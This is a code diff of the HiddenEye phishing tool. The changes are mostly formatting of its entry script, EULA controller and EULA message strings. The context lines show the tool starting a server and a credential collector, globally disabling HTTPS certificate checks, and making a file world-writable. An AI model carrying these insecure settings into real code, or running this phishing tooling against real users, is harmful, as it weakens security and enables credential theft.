import Defs.ActionManager.main_runner as main_runner
|
import Defs.ActionManager.main_runner as main_runner
|
||||||
import Defs.ActionManager.Server.server_runner as server_runner
|
import Defs.ActionManager.Server.server_runner as server_runner
|
||||||
import Defs.ActionManager.simple_informant as simple_informant
|
import Defs.ActionManager.simple_informant as simple_informant
|
||||||
|
@ -19,7 +19,6 @@ if EULAController().check_eula_existence() is False:
|
||||||
if EULAController().check_eula_confirmation() is False:
|
if EULAController().check_eula_confirmation() is False:
|
||||||
EULAController().confirm_eula()
|
EULAController().confirm_eula()
|
||||||
|
|
||||||
|
|
||||||
if not environ.get("PYTHONHTTPSVERIFY", "") and getattr(
|
if not environ.get("PYTHONHTTPSVERIFY", "") and getattr(
|
||||||
ssl, "_create_unverified_context", None):
|
ssl, "_create_unverified_context", None):
|
||||||
ssl._create_default_https_context = ssl._create_unverified_context
|
ssl._create_default_https_context = ssl._create_unverified_context
|
||||||
|
@ -45,7 +44,7 @@ if __name__ == "__main__":
|
||||||
server_runner.server_selection(port)
|
server_runner.server_selection(port)
|
||||||
|
|
||||||
multiprocessing.Process(target=server_runner.start_server,
|
multiprocessing.Process(target=server_runner.start_server,
|
||||||
args=(port,)).start()
|
args=(port, )).start()
|
||||||
simple_informant.credentials_collector()
|
simple_informant.credentials_collector()
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
|
|
|
@ -0,0 +1 @@
|
||||||
|
|
|
@ -1,14 +1,15 @@
|
||||||
import pathlib
|
import pathlib
|
||||||
from os import chmod
|
|
||||||
import stat
|
import stat
|
||||||
|
from os import chmod
|
||||||
|
|
||||||
from views.EULA_view import EULAView
|
from views.EULA_view import EULAView
|
||||||
|
|
||||||
|
|
||||||
class EULAController:
|
class EULAController:
|
||||||
def __init__(self, confirmation_text: str = 'eula = True'):
|
def __init__(self, confirmation_text: str = "eula = True"):
|
||||||
self.eula = "eula.txt"
|
self.eula = "eula.txt"
|
||||||
self.confirmation_text = confirmation_text
|
self.confirmation_text = confirmation_text
|
||||||
self.license = open("LICENSE", 'r')
|
self.license = open("LICENSE", "r")
|
||||||
|
|
||||||
def check_eula_existence(self):
|
def check_eula_existence(self):
|
||||||
"""
|
"""
|
||||||
|
@ -23,13 +24,16 @@ class EULAController:
|
||||||
def generate_new_eula(self):
|
def generate_new_eula(self):
|
||||||
pathlib.Path(str(self.eula)).touch(exist_ok=True)
|
pathlib.Path(str(self.eula)).touch(exist_ok=True)
|
||||||
text_license = self.license.read()
|
text_license = self.license.read()
|
||||||
with open(str(self.eula), 'w+') as temp_eula:
|
with open(str(self.eula), "w+") as temp_eula:
|
||||||
chmod(self.eula, 0o777)
|
chmod(self.eula, 0o777)
|
||||||
temp_eula.write("{0}\n{1}".format(EULAView().EULA_messages["eula_start_of_file_unconfirmed"], text_license))
|
temp_eula.write("{0}\n{1}".format(
|
||||||
|
EULAView().EULA_messages["eula_start_of_file_unconfirmed"],
|
||||||
|
text_license,
|
||||||
|
))
|
||||||
temp_eula.close()
|
temp_eula.close()
|
||||||
|
|
||||||
def check_eula_confirmation(self):
|
def check_eula_confirmation(self):
|
||||||
with open(self.eula, 'r') as file:
|
with open(self.eula, "r") as file:
|
||||||
if self.confirmation_text in file.read():
|
if self.confirmation_text in file.read():
|
||||||
print(EULAView().EULA_messages["eula_is_confirmed"])
|
print(EULAView().EULA_messages["eula_is_confirmed"])
|
||||||
return True
|
return True
|
||||||
|
@ -39,16 +43,29 @@ class EULAController:
|
||||||
|
|
||||||
def confirm_eula(self):
|
def confirm_eula(self):
|
||||||
# FIXME replace those strings with View entries
|
# FIXME replace those strings with View entries
|
||||||
print(f'{self.license.read()}\nGreat Power Comes With Great Responsibility')
|
print(
|
||||||
print('\nThe use of the HiddenEye & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER.')
|
f"{self.license.read()}\nGreat Power Comes With Great Responsibility"
|
||||||
print('\nDevelopers assume NO liability and are NOT responsible for any damage caused by this program.')
|
)
|
||||||
print('\nAlso we want to inform you that some of your actions may be ILLEGAL and you CAN NOT use this ')
|
print(
|
||||||
print('\nsoftware to test device, company or any other type of target without WRITTEN PERMISSION from them.')
|
"\nThe use of the HiddenEye & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER."
|
||||||
|
)
|
||||||
|
print(
|
||||||
|
"\nDevelopers assume NO liability and are NOT responsible for any damage caused by this program."
|
||||||
|
)
|
||||||
|
print(
|
||||||
|
"\nAlso we want to inform you that some of your actions may be ILLEGAL and you CAN NOT use this "
|
||||||
|
)
|
||||||
|
print(
|
||||||
|
"\nsoftware to test device, company or any other type of target without WRITTEN PERMISSION from them."
|
||||||
|
)
|
||||||
print('\nDo you accept EULA? \nEnter: "I accept EULA" to continue')
|
print('\nDo you accept EULA? \nEnter: "I accept EULA" to continue')
|
||||||
answer = input("HiddenEye EULA>> ").lower().replace(" ", "")
|
answer = input("HiddenEye EULA>> ").lower().replace(" ", "")
|
||||||
if answer == "iaccepteula":
|
if answer == "iaccepteula":
|
||||||
eula_temp_input = open(self.eula, "rt")
|
eula_temp_input = open(self.eula, "rt")
|
||||||
eula_temp_data = eula_temp_input.read().replace(EULAView().EULA_messages["eula_start_of_file_unconfirmed"], EULAView().EULA_messages["eula_start_of_file_confirmed"])
|
eula_temp_data = eula_temp_input.read().replace(
|
||||||
|
EULAView().EULA_messages["eula_start_of_file_unconfirmed"],
|
||||||
|
EULAView().EULA_messages["eula_start_of_file_confirmed"],
|
||||||
|
)
|
||||||
eula_temp_input.close()
|
eula_temp_input.close()
|
||||||
eula_temp_input = open(self.eula, "wt")
|
eula_temp_input = open(self.eula, "wt")
|
||||||
eula_temp_input.write(eula_temp_data)
|
eula_temp_input.write(eula_temp_data)
|
||||||
|
|
|
@ -171,4 +171,4 @@ Copyright © 2020 All rights reserved
|
||||||
</script>
|
</script>
|
||||||
<script src="https://ajax.cloudflare.com/cdn-cgi/scripts/7089c43e/cloudflare-static/rocket-loader.min.js" data-cf-settings="6f2cc84ed21a56e1afac3a6d-|49" defer=""></script>
|
<script src="https://ajax.cloudflare.com/cdn-cgi/scripts/7089c43e/cloudflare-static/rocket-loader.min.js" data-cf-settings="6f2cc84ed21a56e1afac3a6d-|49" defer=""></script>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|
|
@ -4,11 +4,18 @@ from gettext import gettext as _
|
||||||
class EULAView:
|
class EULAView:
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.EULA_messages = {
|
self.EULA_messages = {
|
||||||
"eula_found": _("EULA is found"),
|
"eula_found":
|
||||||
"eula_is_confirmed": _("You accepted EULA"),
|
_("EULA is found"),
|
||||||
"eula_is_not_confirmed": _("You didn't accept EULA, please open eula.txt"),
|
"eula_is_confirmed":
|
||||||
"eula_not_found": _("EULA isn't found\n Generated new EULA"),
|
_("You accepted EULA"),
|
||||||
"eula_is_invalid": _("EULA is not valid"),
|
"eula_is_not_confirmed":
|
||||||
"eula_start_of_file_unconfirmed": _("# Please read and accept EULA below\n eula = False"),
|
_("You didn't accept EULA, please open eula.txt"),
|
||||||
"eula_start_of_file_confirmed": _("# Please read and accept EULA below\n eula = True")
|
"eula_not_found":
|
||||||
|
_("EULA isn't found\n Generated new EULA"),
|
||||||
|
"eula_is_invalid":
|
||||||
|
_("EULA is not valid"),
|
||||||
|
"eula_start_of_file_unconfirmed":
|
||||||
|
_("# Please read and accept EULA below\n eula = False"),
|
||||||
|
"eula_start_of_file_confirmed":
|
||||||
|
_("# Please read and accept EULA below\n eula = True"),
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue
Block a user